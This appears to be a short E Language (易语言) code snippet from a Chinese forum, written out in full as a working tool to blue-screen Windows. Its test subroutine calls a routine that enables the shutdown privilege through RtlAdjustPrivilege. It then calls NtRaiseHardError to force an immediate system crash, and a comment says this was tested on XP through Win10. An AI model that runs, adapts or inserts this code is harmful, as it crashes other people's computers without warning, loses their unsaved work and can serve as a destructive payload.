|
- .版本 2
- .程序集 程序集1
- .子程序 _启动子程序, 整数型, , 请在本子程序中放置易模块初始化代码
- _临时子程序 () ' 在初始化代码执行完毕后调用测试代码
- 返回 (0) ' 可以根据您的需要返回任意数值
- .子程序 _临时子程序
- ' 本名称子程序用作测试程序用,仅在开发及调试环境中有效,编译发布程序前将被系统自动清空,请将所有用作测试的临时代码放在本子程序中。 ***注意不要修改本子程序的名称、参数及返回值类型。
- 蓝屏 ()
- .子程序 蓝屏, , 公开, XP 7 8 Win10等系统已测试都有效 运行后直接蓝屏
- .局部变量 u, UNICODE_STRING
- .局部变量 p, 整数型, , "4"
- RtlAdjustPrivilege (19, 1, 0, 0)
- RtlInitUnicodeString (u, “Session Manager”)
- p [1] = 取文本指针 (u, u, 0)
- p [2] = u.Length
- p [3] = p [1]
- p [4] = p [1]
- NtRaiseHardError (-1073741286, 4, 1, p, 6, 0)
- .版本 2
- .DLL命令 NtRaiseHardError, 整数型, "ntdll.dll", "NtRaiseHardError"
- .参数 ErrorStatus, 整数型
- .参数 NumberOfParameters, 整数型
- .参数 UnicodeStringParameterMask, 整数型
- .参数 Parameters, 整数型, 传址 数组
- .参数 ValidResponseOptions, 整数型
- .参数 Response, 整数型, 传址
- .DLL命令 RtlAdjustPrivilege, 整数型, "ntdll.dll", "RtlAdjustPrivilege"
- .参数 Privilege, 整数型
- .参数 Enable, 整数型
- .参数 Client, 整数型
- .参数 WasEnabled, 整数型, 传址
- .DLL命令 RtlInitUnicodeString, , "ntdll.dll", "RtlInitUnicodeString"
- .参数 DestinationString, UNICODE_STRING, 传址
- .参数 SourceString, 文本型, 传址
- .DLL命令 取文本指针, 整数型, , "lstrcpyn"
- .参数 变量, UNICODE_STRING, 传址
- .参数 变量, UNICODE_STRING, 传址
- .参数 保留, 整数型
- .版本 2
- .数据类型 UNICODE_STRING
- .成员 Length, 短整数型
- .成员 MaximumLength, 短整数型
- .成员 Buffer, 文本型
复制代码
|
|